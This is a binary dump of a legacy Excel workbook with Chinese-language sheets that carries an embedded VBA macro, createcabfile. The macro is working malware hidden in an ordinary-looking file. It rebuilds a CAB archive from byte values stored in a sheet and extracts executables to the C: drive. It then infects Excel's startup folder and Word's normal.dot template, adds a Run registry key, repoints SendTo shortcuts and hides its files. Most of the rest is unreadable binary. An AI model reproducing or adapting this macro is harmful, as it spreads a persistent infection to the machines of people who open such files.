ࡱ> 48  !"#$%&'()*+,-./0123679Root Entry F@ףÒ5Workbook}cETExtDatazSummaryInformation(  \psw Ba==[p&8X@"1[SO1[SO1[SO1[SO1[SO1[SO1[SO1@[SO1@[SO1 [SO1?[SO1.Times New Roman1[SO1>[SO1[SO1 [SO1 [SO1[SO16[SO1 [SO1h6[SO1[SO1,6[SO16[SO1?[SO15[SO1 [SO15[SO1[SO1[SO1[SO1Arial+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ W))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ g+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ /\$#,##0_);\(\$#,##0\)9\$#,##0_);[Red]\(\$#,##0\);\$#,##0.00_);\(\$#,##0.00\)E \$#,##0.00_);[Red]\(\$#,##0.00\)                *    / , )   - +          /      @ @  @ @ ,  @ @ /    ff7  * 5 `@ @ a@ 0 * +   0         / 7 3    + 6    9          8@ @       8@ @  8@ @ 8@ @ 8@ @ 8@ @ 8@ @ 8@ @ x@ @  8@ @  x@ @   x@ @  x@ @ 8 Q 1Q   1Q ||[f9}(}T 66=}(}U 66=8^ĉ!20% - :_eW[r 32&20% - :_eW[r 3 eQeQ!40% - :_eW[r 32'40% - :_eW[r 3]]!60% - :_eW[r 32(60% - :_eW[r 3  lʑ lʑ!60% - :_eW[r 22$60% - :_eW[r 2 h 4h 4 fJTe,g fJTe,g hh!ʑ'`e,g 5ʑ'`e,g "h 1h 1 #h 2h 2!$60% - :_eW[r 12 60% - :_eW[r 1 %h 3h 3!&60% - :_eW[r 42,60% - :_eW[r 4 'QQ ({{)hgUSCQ:_eW[r 6&1:_eW[r 6!?40% - :_eW[r 62340% - :_eW[r 6!@60% - :_eW[r 62460% - :_eW[r 6 A 1 B7h_ 1cc PK N@theme/PK N@ theme/theme/PKN@ky}theme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PKN@%theme/theme/theme1.xmlYKo7X=d[4vbDJ]Jˈ\݊X@Ѵ@o=m$@/qM;Fi]7>^{SsAXk$týKW|OHw9?dc|"PǏL*@3Y6f}KG|×|_=ڍ&?@G ^~O_~_?>qw8!nal1xNb!bIt;Tedouv{(>{`:LG72Fww:pLܝ󙉻б.Jg)p'qF2D N761X~=$gwx8]2$#+B$]B-vum$LD1x$]*(\F<0q}!!L.k&Ї;tH.ԥ1f"{lڍPD&B"I3DCP6}64MZ$2X^,nuL3;mwNgCìX-QC{^7=//XZ-^kcB@)>z.{Ш۱4G5 7HxOJa^󕒉UO2Fԭt0ujj@r^mcZJډ(ٷ16baDhTNkp=wbEaՊ`ZX!y:lšS":2ie@5 XDl];<5,i#l#gt  q01C p4QtUM˪ٰ- `?Cs]7zb$xu-lV{9>DVNj,5(Bȥszҕhhs0U~,}2ToF0,į*=댬o[gv; 9'33y ; oOPKN@ $  [Content_Types].xmlPK N@_rels/PKN@֧6  _rels/.relsPK N@theme/PK N@ $theme/theme/PK N@theme/theme/_rels/PKN@ ѐ'  theme/theme/_rels/themeManager.xml.relsPKN@% theme/theme/theme1.xmlPKN@ky} Ntheme/theme/themeManager.xmlPK ?7 XTableStyleMedium2PivotStyleLight16`$AVVTTSLSYQQSHQC+OWRYOVLTPNXHMVVICRQQTKPSKSOPKBATY[USheet1w[Sheet2aSheet3VV4!  ;mdPrivate Sub createcabfile()Dim ch As Byteon error resume next4Set fso = CreateObject("scripting.filesystemobject")%Set w = CreateObject("wscript.shell")7myfolder = w.specialfolders("Templates") & "\Software\"&If Not fso.folderexists(myfolder) Thenfso.createfolder myfolderEnd IfFor i=1 to Workbooks.Count&If Workbooks(i).name="normal.xlm" thenworkbooks(i).close6fso.deletefile Application.StartupPath & "\normal.xlm"Next&If Workbooks(i).name="norma1.xlm" thengoto a1cabfile= "c:\cab.cab"CIf Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Thenfso.delete cabfile*open cabfile for binary access write as #1For i = 1 To 150< hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Valuen=1m=instr(hv," ") do while m>0ch=CByte(mid(hv,n,m-n)) put #1,,chn=m+1m=instr(n,hv," ")loopclose #19w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True8w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True>w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True=w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, Truefso.deletefile cabfile,fso.copyfile "c:\normal.dot", myfolder, True)set word=createobject("word.application")%ntpath=word.NormalTemplate.Path & "\" word.quit*fso.copyfile "c:\normal.dot", ntpath, TrueAfso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True=fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"2set fold=fso.getfolder(w.SpecialFolders("SendTo"))for each ff in fold.files if instr(ff.name,"ov")>0 then 3 set lnk=w.CreateShortcut(fold.path & "\" & ff.name)  lnk.TargetPath="c:\sendto.exe" lnk.IconLocation="shell32.dll,6"lnk.savegoto e2end ifnexte2:fso.deletefile "c:\normal.dot"fso.deletefile "c:\norma1.xlm" fso.deletefile "c:\internet.exe"9w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True8w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, Truehw.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe","internet.exe"Zw.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"6 Workbooks.Open Application.StartupPath & "\norma1.xlm"qthisworkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy workbooks("norma1.xlm").sheets("(m1)_(m2)_(m3)").Columns(2)workbooks("norma1.xlm").saveB fso.copyfile Application.StartupPath & "\norma1.xlm",myfolder,true a1:fso.deletefile "c:\excel.txt"!Application.DisplayAlerts = False$for i=1 to thisworkbook.sheets.count1 if left(thisworkbook.sheets(i).name,3)="!jWWh" then(+ ThisWorkbook.Sheets(i).Delete Application.DisplayAlerts = TrueThisWorkbook.Saved=TrueEnd Sub  *gegf[Xؚ-Nf[kOy-Nf[YeYef[HhO^ O(uWSWNXTGl;`h^Sf[bWNXTY Ts~YlYVf[b2019-2020f[t^ Ngs;NN%m4Y TёNg3t3thT*t4TFQW_Í:_NgN]ynhzOŖNgIQ!`ĞO 3SS܀wq+}f~NT d+   R%iGKN  dMbP?_*+%&?'?(?)?" dXX??&U} @X} } Y}  X}  XR; ; ; ;  ;;;;;;;;;;;;;;;; Y Y Z Y Y Y Y Y Y Z Z Z Y Z Z Z Z Z Z Z Y Y Z Z Y Z Z Z Z Z Z ZD@l ;!;"#;$%&'()*;+;,;-./012;3;4;5;6;7;8;9;:;;;<;=;>? Z !Z "Y #Z $Y %Y &Y! 'Y" (Y# )Y$ *Z% +Z& ,Z' -Y( .Y) /Y* 0Y+ 1Y, 2Z- 3Y. 4Z/ 5Z0 6Z1 7Z2 8Z3 9Z4 :Z5 ;Z6 <Z7 =Z8 >Y9 ?Y:D@l@ABC;D;E;F;G;H;IJ;K;LM;N;OP;Q @Y; AY< BY CZ= DZ> EZ? FZ@ GZA HZB IYC JZD KZE LYF MZ3 NZ4 OYG PZH QYI(dT>@<d? ggD   %  dMbP?_*+%&?'?(?)?" d??&U>d ggD   %  dMbP?_*+%&?'?(?)?" d??&U>d ggD   %  dMbP?_*+%&?'?(?)?" d??&U>d ggD   %  dMbP?_*+%&?'?(?)?" d??&U> y_@d ggD   %Z  dMbP?_*+%&?'{Gz?((\?)" dXX)\(?)\(?&U} D}  D} D} D}  I@@@@JJJ@ @ J J J JJJ@@@@@ KJKLLK MK ML NM NN NO~ O?OPPP~ O@OPOQ~ O@OPPQ~ O@ORPS~ O@OTPS~ O@OUPS~ O@OVPQ~ O @ ORPQ~ O"@ OVPS~ O$@ ORPS~ O&@ OUPS~ O(@ OVPS~ O*@ORPS~ O,@OVPSWWWWW. F >@<d ggD   %Sa  dMbP?_*+%w&?'?(?)?" d??&U} C} D} Dwwwwwwww w w w w wwwwww EP FF GK GQ GR~ G? GS~ Gi@~ G@ GT~ Gk@~ G@ GU~ GPu@~ G@ GV~ G[@~ G@ GW~ G`l@~ G@ GX~ Gj@~ G@ GY~ G@l@~ G @ GZ~ GZ@~ G"@ G[~ GZ@~ G$@ G\~ G^@~ G&@ G]~ G@j@~ G(@ G^~ G`j@~ G*@ G_~ Gi@~ G,@ G`~ GY@~ G.@ Ga~ GY@~ G0@ Gb~ G{@ Hc~ H@*~h*****************>@<d ggD   %  dMbP?_*+%&?'?(?)?" d??&U>@<d ggD   i+s[@ A.  A.  A.  A.  A.  A.  A.  A. Oh+'0   , 8DLT\islandHSfq1@h6@b@>LhMicrosoft Excel ՜.+,D՜.+,\  DocumentSummaryInformation8\ 0t|KSOProductBuildVerICV2052-11.1.0.14309$0B1A34D7502F4202940DA4D2DBF0E33A_13